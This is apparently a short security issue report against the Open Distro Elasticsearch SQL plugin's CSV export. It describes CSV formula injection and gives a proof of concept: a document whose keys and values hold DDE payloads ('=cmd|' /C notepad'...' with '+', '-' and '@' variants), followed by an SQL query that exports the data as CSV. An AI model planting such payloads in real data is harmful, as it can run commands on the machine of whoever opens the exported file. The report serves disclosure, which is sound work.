CSV Injection issue

[dai-chen]

In CSV, a cell prefixed with "=" is treated as formula which could be executable. Attacker can upload document with this kind of field value to Elasticsearch. Victim downloads the CSV file and injected code may be executed after open.

PUT /userdata/user/1
{
  "=cmd|' /C notepad'!_xlbgnm.A1": "+cmd|' /C notepad'!_xlbgnm.A1",
  "-cmd|' /C notepad'!_xlbgnm.A1": "@cmd|' /C notepad'!_xlbgnm.A1"
}

POST /_opendistro/_sql?format=csv
{
  "query" : "SELECT * FROM userdata"
}